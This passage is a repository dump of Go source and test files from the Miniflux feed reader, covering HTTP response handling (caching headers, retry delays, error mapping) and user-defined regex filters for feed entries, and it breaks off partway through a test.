    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage fetcher // import \"miniflux.app/v2/internal/reader/fetcher\"\n\nimport (\n\t\"crypto/x509\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"log/slog\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/locale\"\n)\n\ntype ResponseHandler struct {\n\thttpResponse *http.Response\n\tclientErr    error\n}\n\nfunc NewResponseHandler(httpResponse *http.Response, clientErr error) *ResponseHandler {\n\treturn &ResponseHandler{httpResponse: httpResponse, clientErr: clientErr}\n}\n\nfunc (r *ResponseHandler) EffectiveURL() string {\n\treturn r.httpResponse.Request.URL.String()\n}\n\nfunc (r *ResponseHandler) ContentType() string {\n\treturn r.httpResponse.Header.Get(\"Content-Type\")\n}\n\nfunc (r *ResponseHandler) LastModified() string {\n\t// Ignore caching headers for feeds that do not want any cache.\n\tif r.httpResponse.Header.Get(\"Expires\") == \"0\" {\n\t\treturn \"\"\n\t}\n\treturn r.httpResponse.Header.Get(\"Last-Modified\")\n}\n\nfunc (r *ResponseHandler) ETag() string {\n\t// Ignore caching headers for feeds that do not want any cache.\n\tif r.httpResponse.Header.Get(\"Expires\") == \"0\" {\n\t\treturn \"\"\n\t}\n\treturn r.httpResponse.Header.Get(\"ETag\")\n}\n\nfunc (r *ResponseHandler) Expires() time.Duration {\n\texpiresHeaderValue := r.httpResponse.Header.Get(\"Expires\")\n\tif expiresHeaderValue != \"\" {\n\t\tt, err := time.Parse(time.RFC1123, expiresHeaderValue)\n\t\tif err == nil {\n\t\t\t// This rounds up to the next minute by rounding down and just adding a minute.\n\t\t\treturn time.Until(t).Truncate(time.Minute) + time.Minute\n\t\t}\n\t}\n\treturn 0\n}\n\nfunc (r *ResponseHandler) CacheControlMaxAge() time.Duration {\n\tcacheControlHeaderValue := r.httpResponse.Header.Get(\"Cache-Control\")\n\tif cacheControlHeaderValue != \"\" {\n\t\tfor directive := range strings.SplitSeq(cacheControlHeaderValue, \",\") {\n\t\t\tif after, ok := strings.CutPrefix(strings.TrimSpace(directive), \"max-age=\"); ok {\n\t\t\t\tif maxAge, err := strconv.Atoi(after); err == nil {\n\t\t\t\t\treturn time.Duration(maxAge) * time.Second\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn 0\n}\n\nfunc (r *ResponseHandler) ParseRetryDelay() time.Duration {\n\tretryAfterHeaderValue := r.httpResponse.Header.Get(\"Retry-After\")\n\tif retryAfterHeaderValue != \"\" {\n\t\t// First, try to parse as an integer (number of seconds)\n\t\tif seconds, err := strconv.Atoi(retryAfterHeaderValue); err == nil {\n\t\t\treturn time.Duration(seconds) * time.Second\n\t\t}\n\n\t\t// If not an integer, try to parse as an HTTP-date\n\t\tif t, err := time.Parse(time.RFC1123, retryAfterHeaderValue); err == nil {\n\t\t\treturn time.Until(t).Truncate(time.Second)\n\t\t}\n\t}\n\treturn 0\n}\n\nfunc (r *ResponseHandler) IsRateLimited() bool {\n\treturn r.httpResponse != nil && r.httpResponse.StatusCode == http.StatusTooManyRequests\n}\n\nfunc (r *ResponseHandler) IsModified(lastEtagValue, lastModifiedValue string) bool {\n\tif r.httpResponse.StatusCode == http.StatusNotModified {\n\t\treturn false\n\t}\n\n\tif r.ETag() != \"\" {\n\t\treturn r.ETag() != lastEtagValue\n\t}\n\n\tif r.LastModified() != \"\" {\n\t\treturn r.LastModified() != lastModifiedValue\n\t}\n\n\treturn true\n}\n\nfunc (r *ResponseHandler) IsRedirect() bool {\n\treturn r.httpResponse != nil &&\n\t\t(r.httpResponse.StatusCode == http.StatusMovedPermanently ||\n\t\t\tr.httpResponse.StatusCode == http.StatusFound ||\n\t\t\tr.httpResponse.StatusCode == http.StatusSeeOther ||\n\t\t\tr.httpResponse.StatusCode == http.StatusTemporaryRedirect ||\n\t\t\tr.httpResponse.StatusCode == http.StatusPermanentRedirect)\n}\n\nfunc (r *ResponseHandler) Close() {\n\tif r.httpResponse != nil && r.httpResponse.Body != nil {\n\t\tr.httpResponse.Body.Close()\n\t}\n}\n\nfunc (r *ResponseHandler) getReader(maxBodySize int64) io.ReadCloser {\n\tcontentEncoding := strings.ToLower(r.httpResponse.Header.Get(\"Content-Encoding\"))\n\tslog.Debug(\"Request response\",\n\t\tslog.String(\"effective_url\", r.EffectiveURL()),\n\t\tslog.String(\"content_length\", r.httpResponse.Header.Get(\"Content-Length\")),\n\t\tslog.String(\"content_encoding\", contentEncoding),\n\t\tslog.String(\"content_type\", r.httpResponse.Header.Get(\"Content-Type\")),\n\t)\n\n\treader := r.httpResponse.Body\n\tswitch contentEncoding {\n\tcase \"br\":\n\t\treader = NewBrotliReadCloser(reader)\n\tcase \"gzip\":\n\t\treader = NewGzipReadCloser(reader)\n\t}\n\treturn http.MaxBytesReader(nil, reader, maxBodySize)\n}\n\nfunc (r *ResponseHandler) Body(maxBodySize int64) io.ReadCloser {\n\treturn r.getReader(maxBodySize)\n}\n\nfunc (r *ResponseHandler) ReadBody(maxBodySize int64) ([]byte, *locale.LocalizedErrorWrapper) {\n\tlimitedReader := r.getReader(maxBodySize)\n\n\tbuffer, err := io.ReadAll(limitedReader)\n\tif err != nil && err != io.EOF {\n\t\tif err, ok := err.(*http.MaxBytesError); ok {\n\t\t\treturn nil, locale.NewLocalizedErrorWrapper(fmt.Errorf(\"fetcher: response body too large: %d bytes\", err.Limit), \"error.http_response_too_large\")\n\t\t}\n\n\t\treturn nil, locale.NewLocalizedErrorWrapper(fmt.Errorf(\"fetcher: unable to read response body: %w\", err), \"error.http_body_read\", err)\n\t}\n\n\tif len(buffer) == 0 {\n\t\treturn nil, locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: empty response body\"), \"error.http_empty_response_body\")\n\t}\n\n\treturn buffer, nil\n}\n\nfunc (r *ResponseHandler) LocalizedError() *locale.LocalizedErrorWrapper {\n\tif r.clientErr != nil {\n\t\terr := fmt.Errorf(\"fetcher: %w\", r.clientErr)\n\t\tswitch {\n\t\tcase isSSLError(r.clientErr):\n\t\t\treturn locale.NewLocalizedErrorWrapper(err, \"error.tls_error\", r.clientErr)\n\t\tcase isNetworkError(r.clientErr):\n\t\t\treturn locale.NewLocalizedErrorWrapper(err, \"error.network_operation\", r.clientErr)\n\t\tcase os.IsTimeout(r.clientErr):\n\t\t\treturn locale.NewLocalizedErrorWrapper(err, \"error.network_timeout\", r.clientErr)\n\t\tcase errors.Is(r.clientErr, io.EOF):\n\t\t\treturn locale.NewLocalizedErrorWrapper(err, \"error.http_empty_response\")\n\t\tdefault:\n\t\t\treturn locale.NewLocalizedErrorWrapper(err, \"error.http_client_error\", r.clientErr)\n\t\t}\n\t}\n\n\tswitch r.httpResponse.StatusCode {\n\tcase http.StatusUnauthorized:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: access unauthorized (401 status code)\"), \"error.http_not_authorized\")\n\tcase http.StatusForbidden:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: access forbidden (403 status code)\"), \"error.http_forbidden\")\n\tcase http.StatusTooManyRequests:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: too many requests (429 status code)\"), \"error.http_too_many_requests\")\n\tcase http.StatusNotFound:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: resource not found (404 status code)\"), \"error.http_resource_not_found\")\n\tcase http.StatusGone:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: resource not found (410 status code)\"), \"error.http_resource_not_found\")\n\tcase http.StatusInternalServerError:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: remote server error (500 status code)\"), \"error.http_internal_server_error\")\n\tcase http.StatusBadGateway:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: bad gateway (502 status code)\"), \"error.http_bad_gateway\")\n\tcase http.StatusServiceUnavailable:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: service unavailable (503 status code)\"), \"error.http_service_unavailable\")\n\tcase http.StatusGatewayTimeout:\n\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: gateway timeout (504 status code)\"), \"error.http_gateway_timeout\")\n\t}\n\n\tif r.httpResponse.StatusCode >= 400 {\n\t\treturn locale.NewLocalizedErrorWrapper(fmt.Errorf(\"fetcher: unexpected status code (%d status code)\", r.httpResponse.StatusCode), \"error.http_unexpected_status_code\", r.httpResponse.StatusCode)\n\t}\n\n\tif r.httpResponse.StatusCode != 304 {\n\t\t// Content-Length = -1 when no Content-Length header is sent.\n\t\tif r.httpResponse.ContentLength == 0 {\n\t\t\treturn locale.NewLocalizedErrorWrapper(errors.New(\"fetcher: empty response body\"), \"error.http_empty_response_body\")\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc isNetworkError(err error) bool {\n\tif _, ok := err.(*url.Error); ok {\n\t\treturn true\n\t}\n\tif err == io.EOF {\n\t\treturn true\n\t}\n\tvar opErr *net.OpError\n\tif ok := errors.As(err, &opErr); ok {\n\t\treturn true\n\t}\n\treturn false\n}\n\nfunc isSSLError(err error) bool {\n\tvar certErr x509.UnknownAuthorityError\n\tif errors.As(err, &certErr) {\n\t\treturn true\n\t}\n\n\tvar hostErr x509.HostnameError\n\tif errors.As(err, &hostErr) {\n\t\treturn true\n\t}\n\n\tvar algErr x509.InsecureAlgorithmError\n\treturn errors.As(err, &algErr)\n}\n"
  },
  {
    "path": "internal/reader/fetcher/response_handler_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage fetcher // import \"miniflux.app/v2/internal/reader/fetcher\"\n\nimport (\n\t\"errors\"\n\t\"io\"\n\t\"net/http\"\n\t\"testing\"\n\t\"time\"\n)\n\ntype testReadCloser struct {\n\tclosed bool\n}\n\nfunc (rc *testReadCloser) Read(_ []byte) (int, error) {\n\treturn 0, io.EOF\n}\n\nfunc (rc *testReadCloser) Close() error {\n\trc.closed = true\n\treturn nil\n}\n\nfunc TestIsModified(t *testing.T) {\n\tvar cachedEtag = \"abc123\"\n\tvar cachedLastModified = \"Wed, 21 Oct 2015 07:28:00 GMT\"\n\n\tvar testCases = map[string]struct {\n\t\tStatus       int\n\t\tLastModified string\n\t\tETag         string\n\t\tIsModified   bool\n\t}{\n\t\t\"Unmodified 304\": {\n\t\t\tStatus:       304,\n\t\t\tLastModified: cachedLastModified,\n\t\t\tETag:         cachedEtag,\n\t\t\tIsModified:   false,\n\t\t},\n\t\t\"Unmodified 200\": {\n\t\t\tStatus:       200,\n\t\t\tLastModified: cachedLastModified,\n\t\t\tETag:         cachedEtag,\n\t\t\tIsModified:   false,\n\t\t},\n\t\t// ETag takes precedence per RFC9110 8.8.1.\n\t\t\"Last-Modified changed only\": {\n\t\t\tStatus:       200,\n\t\t\tLastModified: \"Thu, 22 Oct 2015 07:28:00 GMT\",\n\t\t\tETag:         cachedEtag,\n\t\t\tIsModified:   false,\n\t\t},\n\t\t\"ETag changed only\": {\n\t\t\tStatus:       200,\n\t\t\tLastModified: cachedLastModified,\n\t\t\tETag:         \"xyz789\",\n\t\t\tIsModified:   true,\n\t\t},\n\t\t\"ETag and Last-Modified changed\": {\n\t\t\tStatus:       200,\n\t\t\tLastModified: \"Thu, 22 Oct 2015 07:28:00 GMT\",\n\t\t\tETag:         \"xyz789\",\n\t\t\tIsModified:   true,\n\t\t},\n\t}\n\tfor name, tc := range testCases {\n\t\tt.Run(name, func(tt *testing.T) {\n\t\t\theader := http.Header{}\n\t\t\theader.Add(\"Last-Modified\", tc.LastModified)\n\t\t\theader.Add(\"ETag\", tc.ETag)\n\t\t\trh := ResponseHandler{\n\t\t\t\thttpResponse: &http.Response{\n\t\t\t\t\tStatusCode: tc.Status,\n\t\t\t\t\tHeader:     header,\n\t\t\t\t},\n\t\t\t}\n\t\t\tif tc.IsModified != rh.IsModified(cachedEtag, cachedLastModified) {\n\t\t\t\ttt.Error(name)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRetryDelay(t *testing.T) {\n\tvar testCases = map[string]struct {\n\t\tRetryAfterHeader string\n\t\tExpectedDelay    time.Duration\n\t}{\n\t\t\"Empty header\": {\n\t\t\tRetryAfterHeader: \"\",\n\t\t\tExpectedDelay:    0,\n\t\t},\n\t\t\"Integer value\": {\n\t\t\tRetryAfterHeader: \"42\",\n\t\t\tExpectedDelay:    42 * time.Second,\n\t\t},\n\t\t\"HTTP-date\": {\n\t\t\tRetryAfterHeader: time.Now().Add(42 * time.Second).Format(time.RFC1123),\n\t\t\tExpectedDelay:    41 * time.Second,\n\t\t},\n\t}\n\tfor name, tc := range testCases {\n\t\tt.Run(name, func(tt *testing.T) {\n\t\t\theader := http.Header{}\n\t\t\theader.Add(\"Retry-After\", tc.RetryAfterHeader)\n\t\t\trh := ResponseHandler{\n\t\t\t\thttpResponse: &http.Response{\n\t\t\t\t\tHeader: header,\n\t\t\t\t},\n\t\t\t}\n\t\t\tif tc.ExpectedDelay != rh.ParseRetryDelay() {\n\t\t\t\ttt.Errorf(\"Expected %d, got %d for scenario %q\", tc.ExpectedDelay, rh.ParseRetryDelay(), name)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestExpiresInMinutes(t *testing.T) {\n\tvar testCases = map[string]struct {\n\t\tExpiresHeader string\n\t\tExpected      time.Duration\n\t}{\n\t\t\"Empty header\": {\n\t\t\tExpiresHeader: \"\",\n\t\t\tExpected:      0,\n\t\t},\n\t\t\"Valid Expires header\": {\n\t\t\tExpiresHeader: time.Now().Add(10 * time.Minute).Format(time.RFC1123),\n\t\t\tExpected:      10 * time.Minute,\n\t\t},\n\t\t\"Invalid Expires header\": {\n\t\t\tExpiresHeader: \"invalid-date\",\n\t\t\tExpected:      0,\n\t\t},\n\t}\n\tfor name, tc := range testCases {\n\t\tt.Run(name, func(tt *testing.T) {\n\t\t\theader := http.Header{}\n\t\t\theader.Add(\"Expires\", tc.ExpiresHeader)\n\t\t\trh := ResponseHandler{\n\t\t\t\thttpResponse: &http.Response{\n\t\t\t\t\tHeader: header,\n\t\t\t\t},\n\t\t\t}\n\t\t\tif tc.Expected != rh.Expires() {\n\t\t\t\tt.Errorf(\"Expected %d, got %d for scenario %q\", tc.Expected, rh.Expires(), name)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestCacheControlMaxAgeInMinutes(t *testing.T) {\n\tvar testCases = map[string]struct {\n\t\tCacheControlHeader string\n\t\tExpected           time.Duration\n\t}{\n\t\t\"Empty header\": {\n\t\t\tCacheControlHeader: \"\",\n\t\t\tExpected:           0,\n\t\t},\n\t\t\"Valid max-age\": {\n\t\t\tCacheControlHeader: \"max-age=600\",\n\t\t\tExpected:           10 * time.Minute,\n\t\t},\n\t\t\"Invalid max-age\": {\n\t\t\tCacheControlHeader: \"max-age=invalid\",\n\t\t\tExpected:           0,\n\t\t},\n\t\t\"Multiple directives\": {\n\t\t\tCacheControlHeader: \"no-cache, max-age=300\",\n\t\t\tExpected:           5 * time.Minute,\n\t\t},\n\t}\n\tfor name, tc := range testCases {\n\t\tt.Run(name, func(tt *testing.T) {\n\t\t\theader := http.Header{}\n\t\t\theader.Add(\"Cache-Control\", tc.CacheControlHeader)\n\t\t\trh := ResponseHandler{\n\t\t\t\thttpResponse: &http.Response{\n\t\t\t\t\tHeader: header,\n\t\t\t\t},\n\t\t\t}\n\t\t\tif tc.Expected != rh.CacheControlMaxAge() {\n\t\t\t\tt.Errorf(\"Expected %d, got %d for scenario %q\", tc.Expected, rh.CacheControlMaxAge(), name)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestResponseHandlerCloseClosesBodyOnClientError(t *testing.T) {\n\tbody := &testReadCloser{}\n\trh := ResponseHandler{\n\t\thttpResponse: &http.Response{Body: body},\n\t\tclientErr:    errors.New(\"boom\"),\n\t}\n\n\trh.Close()\n\n\tif !body.closed {\n\t\tt.Error(\"Expected response body to be closed\")\n\t}\n}\n"
  },
  {
    "path": "internal/reader/filter/filter.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\n// Package filter provides functions to filter entries based on user-defined rules.\n//\n// There are two types of rules:\n//\n// Block Rules: Ignore articles that match the regex.\n// Keep Rules: Retain only articles that match the regex.\n//\n// Rules are processed in this order:\n//\n// 1. User block filter rules\n// 2. Feed block filter rules\n// 3. User keep filter rules\n// 4. Feed keep filter rules\n//\n// Each rule must be on a separate line.\n// Duplicate rules are allowed. For example, having multiple EntryTitle rules is possible.\n// The provided regex should use the RE2 syntax.\n// The order of the rules matters as the processor stops on the first match for both Block and Keep rules.\n// Invalid rules are ignored.\n\npackage filter // import \"miniflux.app/v2/internal/reader/filter\"\n\nimport (\n\t\"log/slog\"\n\t\"regexp\"\n\t\"slices\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\ntype filterRule struct {\n\tType  string\n\tValue string\n}\n\ntype filterRules []filterRule\n\nfunc ParseRules(userRules, feedRules string) filterRules {\n\trules := make(filterRules, 0)\n\tfor line := range strings.SplitSeq(strings.TrimSpace(userRules), \"\\n\") {\n\t\tif valid, filterRule := parseRule(line); valid {\n\t\t\trules = append(rules, filterRule)\n\t\t}\n\t}\n\tfor line := range strings.SplitSeq(strings.TrimSpace(feedRules), \"\\n\") {\n\t\tif valid, filterRule := parseRule(line); valid {\n\t\t\trules = append(rules, filterRule)\n\t\t}\n\t}\n\treturn rules\n}\n\nfunc parseRule(userDefinedRule string) (bool, filterRule) {\n\tuserDefinedRule = strings.TrimSpace(strings.ReplaceAll(userDefinedRule, \"\\r\\n\", \"\"))\n\tparts := strings.SplitN(userDefinedRule, \"=\", 2)\n\tif len(parts) != 2 {\n\t\treturn false, filterRule{}\n\t}\n\treturn true, filterRule{\n\t\tType:  strings.TrimSpace(parts[0]),\n\t\tValue: strings.TrimSpace(parts[1]),\n\t}\n}\n\nfunc IsBlockedEntry(blockRules filterRules, allowRules filterRules, feed *model.Feed, entry *model.Entry) bool {\n\tif matchesEntryFilterRules(blockRules, feed, entry) {\n\t\treturn true\n\t}\n\n\tif matches, valid := matchesEntryRegexRules(feed.BlocklistRules, feed, entry); valid && matches {\n\t\treturn true\n\t}\n\n\t// If allow rules exist, only entries that match them should be retained\n\tif len(allowRules) > 0 {\n\t\tif !matchesEntryFilterRules(allowRules, feed, entry) {\n\t\t\treturn true // Block entry if it doesn't match any allow rules\n\t\t}\n\t\treturn false // Allow entry if it matches allow rules\n\t}\n\n\t// If keeplist rules exist, only entries that match them should be retained\n\tif feed.KeeplistRules != \"\" {\n\t\tif matches, valid := matchesEntryRegexRules(feed.KeeplistRules, feed, entry); valid && !matches {\n\t\t\treturn true // Block entry if it doesn't match keeplist rules\n\t\t}\n\t\treturn false // Allow entry if it matches keeplist rules or rule is invalid (ignored)\n\t}\n\n\treturn false\n}\n\n// matchesEntryRegexRules checks if the entry matches the regex rules defined in the feed or user settings.\n// It returns true if the entry matches the regex pattern, and a boolean indicating if the regex is valid.\nfunc matchesEntryRegexRules(regexPattern string, feed *model.Feed, entry *model.Entry) (bool, bool) {\n\tif regexPattern == \"\" {\n\t\treturn false, true // No pattern means rule is valid but doesn't match\n\t}\n\n\tcompiledRegex, err := regexp.Compile(regexPattern)\n\tif err != nil {\n\t\tslog.Warn(\"Failed on regexp compilation\",\n\t\t\tslog.String(\"regex_pattern\", regexPattern),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\treturn false, false // Invalid regex pattern\n\t}\n\n\tcontainsMatchingTag := slices.ContainsFunc(entry.Tags, func(tag string) bool {\n\t\treturn compiledRegex.MatchString(tag)\n\t})\n\n\tif compiledRegex.MatchString(entry.URL) ||\n\t\tcompiledRegex.MatchString(entry.Title) ||\n\t\tcompiledRegex.MatchString(entry.Author) ||\n\t\tcontainsMatchingTag {\n\t\tslog.Debug(\"Entry matches regex rule\",\n\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\tslog.String(\"entry_title\", entry.Title),\n\t\t\tslog.String(\"entry_author\", entry.Author),\n\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t\tslog.String(\"regex_pattern\", regexPattern),\n\t\t)\n\t\treturn true, true // Pattern matches and is valid\n\t}\n\n\treturn false, true // Pattern is valid but doesn't match\n}\n\nfunc matchesEntryFilterRules(rules filterRules, feed *model.Feed, entry *model.Entry) bool {\n\tfor _, rule := range rules {\n\t\tif matchesRule(rule, entry) {\n\t\t\tslog.Debug(\"Entry matches filter rule\",\n\t\t\t\tslog.String(\"entry_url\", entry.URL),\n\t\t\t\tslog.String(\"entry_title\", entry.Title),\n\t\t\t\tslog.String(\"entry_author\", entry.Author),\n\t\t\t\tslog.String(\"feed_url\", feed.FeedURL),\n\t\t\t\tslog.String(\"rule_type\", rule.Type),\n\t\t\t\tslog.String(\"rule_value\", rule.Value),\n\t\t\t)\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc matchesRule(rule filterRule, entry *model.Entry) bool {\n\tswitch rule.Type {\n\tcase \"EntryDate\":\n\t\treturn isDateMatchingPattern(rule.Value, entry.Date)\n\tcase \"EntryTitle\":\n\t\tmatch, _ := regexp.MatchString(rule.Value, entry.Title)\n\t\treturn match\n\tcase \"EntryURL\":\n\t\tmatch, _ := regexp.MatchString(rule.Value, entry.URL)\n\t\treturn match\n\tcase \"EntryCommentsURL\":\n\t\tmatch, _ := regexp.MatchString(rule.Value, entry.CommentsURL)\n\t\treturn match\n\tcase \"EntryContent\":\n\t\tmatch, _ := regexp.MatchString(rule.Value, entry.Content)\n\t\treturn match\n\tcase \"EntryAuthor\":\n\t\tmatch, _ := regexp.MatchString(rule.Value, entry.Author)\n\t\treturn match\n\tcase \"EntryTag\":\n\t\treturn containsRegexPattern(rule.Value, entry.Tags)\n\t}\n\n\treturn false\n}\n\nfunc isDateMatchingPattern(pattern string, entryDate time.Time) bool {\n\tif pattern == \"future\" {\n\t\treturn entryDate.After(time.Now())\n\t}\n\n\tparts := strings.SplitN(pattern, \":\", 2)\n\tif len(parts) != 2 {\n\t\treturn false\n\t}\n\n\truleType, inputDate := parts[0], parts[1]\n\n\tswitch ruleType {\n\tcase \"before\":\n\t\ttargetDate, err := time.Parse(\"2006-01-02\", inputDate)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\treturn entryDate.Before(targetDate)\n\tcase \"after\":\n\t\ttargetDate, err := time.Parse(\"2006-01-02\", inputDate)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\treturn entryDate.After(targetDate)\n\tcase \"between\":\n\t\tdates := strings.Split(inputDate, \",\")\n\t\tif len(dates) != 2 {\n\t\t\treturn false\n\t\t}\n\t\tstartDate, err := time.Parse(\"2006-01-02\", dates[0])\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\tendDate, err := time.Parse(\"2006-01-02\", dates[1])\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\treturn entryDate.After(startDate) && entryDate.Before(endDate)\n\tcase \"max-age\":\n\t\tduration, err := parseDuration(inputDate)\n\t\tif err != nil {\n\t\t\treturn false\n\t\t}\n\t\tcutoffDate := time.Now().Add(-duration)\n\t\treturn entryDate.Before(cutoffDate)\n\t}\n\treturn false\n}\n\nfunc containsRegexPattern(pattern string, items []string) bool {\n\tfor _, item := range items {\n\t\tif matched, _ := regexp.MatchString(pattern, item); matched {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}\n\nfunc parseDuration(duration string) (time.Duration, error) {\n\t// Handle common duration formats like \"30d\", \"7d\", \"1h\", \"1m\", etc.\n\t// Go's time.ParseDuration doesn't support days, so we handle them manually\n\tif daysStr, ok := strings.CutSuffix(duration, \"d\"); ok {\n\t\tdays := 0\n\t\tif daysStr != \"\" {\n\t\t\tvar err error\n\t\t\tdays, err = strconv.Atoi(daysStr)\n\t\t\tif err != nil {\n\t\t\t\treturn 0, err\n\t\t\t}\n\t\t}\n\t\treturn time.Duration(days) * 24 * time.Hour, nil\n\t}\n\n\t// For other durations (hours, minutes, seconds), use Go's built-in parser\n\treturn time.ParseDuration(duration)\n}\n"
  },
  {
    "path": "internal/reader/filter/filter_test.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage filter // import \"miniflux.app/v2/internal/reader/filter\"\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"miniflux.app/v2/internal/model\"\n)\n\n// Test helper functions\nfunc createTestEntry() *model.Entry {\n\treturn &model.Entry{\n\t\tID:          1,\n\t\tTitle:       \"Test Entry Title\",\n\t\tURL:         \"https://example.com/test-entry\",\n\t\tCommentsURL: \"https://example.com/test-entry/comments\",\n\t\tContent:     \"This is the test entry content\",\n\t\tAuthor:      \"Test Author\",\n\t\tDate:        time.Now(),\n\t\tTags:        []string{\"golang\", \"testing\", \"miniflux\"},\n\t}\n}\n\nfunc createTestFeed() *model.Feed {\n\treturn &model.Feed{\n\t\tID:                    1,\n\t\tFeedURL:               \"https://example.com/feed.xml\",\n\t\tBlocklistRules:        \"\",\n\t\tKeeplistRules:         \"\",\n\t\tBlockFilterEntryRules: \"\",\n\t\tKeepFilterEntryRules:  \"\",\n\t}\n}\n\n// Tests for ParseRules function\nfunc TestParseRules(t *testing.T) {\n\ttests := []struct {\n\t\tname      string\n\t\tuserRules string\n\t\tfeedRules string\n\t\texpected  int\n\t}{\n\t\t{\n\t\t\tname:      \"empty rules\",\n\t\t\tuserRules: \"\",\n\t\t\tfeedRules: \"\",\n\t\t\texpected:  0,\n\t\t},\n\t\t{\n\t\t\tname:      \"valid user rules only\",\n\t\t\tuserRules: \"EntryTitle=test\\nEntryAuthor=author\",\n\t\t\tfeedRules: \"\",\n\t\t\texpected:  2,\n\t\t},\n\t\t{\n\t\t\tname:      \"valid feed rules only\",\n\t\t\tuserRules: \"\",\n\t\t\tfeedRules: \"EntryURL=example\\nEntryContent=content\",\n\t\t\texpected:  2,\n\t\t},\n\t\t{\n\t\t\tname:      \"both user and feed rules\",\n\t\t\tuserRules: \"EntryTitle=test\\nEntryAuthor=author\",\n\t\t\tfeedRules: \"EntryURL=example\\nEntryContent=content\",\n\t\t\texpected:  4,\n\t\t},\n\t\t{\n\t\t\tname:      \"mixed valid and invalid rules\",\n\t\t\tuserRules: \"EntryTitle=test\\ninvalid_rule\\nEntryAuthor=author\",\n\t\t\tfeedRules: \"EntryURL=example\\nanotherInvalid\\nEntryContent=content\",\n\t\t\texpected:  4,\n\t\t},\n\t\t{\n\t\t\tname:      \"rules with carriage returns\",\n\t\t\tuserRules: \"EntryTitle=test\\r\\nEntryAuthor=author\\r\\n\",\n\t\t\tfeedRules: \"\",\n\t\t\texpected:  2,\n\t\t},\n\t\t{\n\t\t\tname:      \"rules with extra whitespace\",\n\t\t\tuserRules: \"  EntryTitle  =  test  \\n  EntryAuthor  =  author  \",\n\t\t\tfeedRules: \"\",\n\t\t\texpected:  2,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\trules := ParseRules(tt.userRules, tt.feedRules)\n\t\t\tif len(rules) != tt.expected {\n\t\t\t\tt.Errorf(\"ParseRules() returned %d rules, expected %d\", len(rules), tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\n// Tests for parseRule function\nfunc TestParseRule(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\trule     string\n\t\tvalid    bool\n\t\texpected filterRule\n\t}{\n\t\t{\n\t\t\tname:     \"valid rule\",\n\t\t\trule:     \"EntryTitle=test\",\n\t\t\tvalid:    true,\n\t\t\texpected: filterRule{Type: \"EntryTitle\", Value: \"test\"},\n\t\t},\n\t\t{\n\t\t\tname:     \"rule with extra whitespace\",\n\t\t\trule:     \"  EntryTitle  =  test  \",\n\t\t\tvalid:    true,\n\t\t\texpected: filterRule{Type: \"EntryTitle\", Value: \"test\"},\n\t\t},\n\t\t{\n\t\t\tname:     \"rule with carriage return\",\n\t\t\trule:     \"EntryTitle=test\\r\\n\",\n\t\t\tvalid:    true,\n\t\t\texpected: filterRule{Type: \"EntryTitle\", Value: \"test\"},\n\t\t},\n\t\t{\n\t\t\tname:     \"rule with single carriage return\",\n\t\t\trule:     \"EntryTitle=test\\r\",\n\t\t\tvalid:    true,\n\t\t\texpected: filterRule{Type: \"EntryTitle\", Value: \"test\"},\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid rule - no equals\",\n\t\t\trule:  \"EntryTitle\",\n\t\t\tvalid: false,\n\t\t},\n\t\t{\n\t\t\tname:  \"invalid rule - empty\",\n\t\t\trule:  \"\",\n\t\t\tvalid: false,\n\t\t},\n\t\t{\n\t\t\tname:     \"invalid rule - multiple equals\",\n\t\t\trule:     \"EntryTitle=test=value\",\n\t\t\tvalid:    true,\n\t\t\texpected: filterRule{Type: \"EntryTitle\", Value: \"test=value\"},\n\t\t},\n\t\t{\n\t\t\tname:     \"rule with equals in value\",\n\t\t\trule:     \"EntryContent=x=y\",\n\t\t\tvalid:    true,\n\t\t\texpected: filterRule{Type: \"EntryContent\", Value: \"x=y\"},\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tvalid, rule := parseRule(tt.rule)\n\t\t\tif valid != tt.valid 